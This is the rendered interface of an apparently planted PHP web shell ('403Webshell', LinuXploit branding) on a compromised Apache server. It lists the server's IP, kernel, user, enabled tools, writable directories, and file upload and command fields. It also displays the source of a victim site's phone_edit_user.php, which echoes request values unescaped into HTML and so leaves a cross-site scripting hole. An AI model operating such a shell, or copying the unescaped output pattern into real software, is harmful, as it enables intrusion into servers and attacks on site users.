403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hans_sites/phonelesswork.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hans_sites/phonelesswork.com/phone_edit_user.php
<?php
	session_start();
	include_once($_SERVER['DOCUMENT_ROOT'].'/php/mysql.php');
	$arr = explode('|||',$_GET['serial']);
	$id = $arr[0];
	$serial = $arr[1];
	$user = (object) array();
	if(!empty($_SESSION['company_db'])) {
		$company_id_res = $db->get_results("SELECT company_id FROM phonelesswork.timeclock_devices WHERE device_id='".$db->clean($_SESSION['company_db'])."'");
		if(!empty($company_id_res[0]->company_id)) {
			$res = $db->get_results("SELECT * FROM timeclock_all_pis_users WHERE company_id='".$db->clean($company_id_res[0]->company_id)."' AND serial_number='".$db->clean($_GET['serial'])."'");
		} else {
			$res = $db->get_results("SELECT * FROM timeclock_users_".$db->clean($_SESSION['company_db'])." WHERE serial_number='".$db->clean($_GET['serial'])."'");
		}
		if(!empty($res)) {
			$user = $res[0];
		}
	}
	ob_start();
?>
<form onsubmit="update_device_info(this); return false;">
	<h3><a href="phone_edit_new_phone.php?id=<?= $id;?>" style="color:white;text-decoration:none;">Replace Phone</a></h3>
	<h3>Edit <?= $user->first_name;?>'s Device</h3>
	<div style="margin:10px 0px;background:white;color:#2DADFB"><?= $serial;?></div>
	<input type="hidden" name="id" value="<?= $id;?>" />
	<input type="hidden" name="serial" value="<?= $serial;?>" />
	<div>Employee First Name</div>
	<div><input type="text" name="first_name" value="<?= $user->first_name;?>" /></div>
	<div>Employee Last Name</div>
	<div><input type="text" name="last_name" value="<?= $user->last_name;?>" /></div>
	<div>Employee Email</div>
	<div><input type="text" name="email" value="<?= $user->email;?>" /></div>
	<div>Employee Cell Phone #</div>
	<div><input type="text" name="phone" value="<?= $user->phone;?>" /></div>
	<div><input type="submit" name="submit" value="Save" class="submit_button" /></div>
</form>
<?php $body = ob_get_clean();
include('layout.php');

Youez - 2016 - github.com/yon3zu
LinuXploit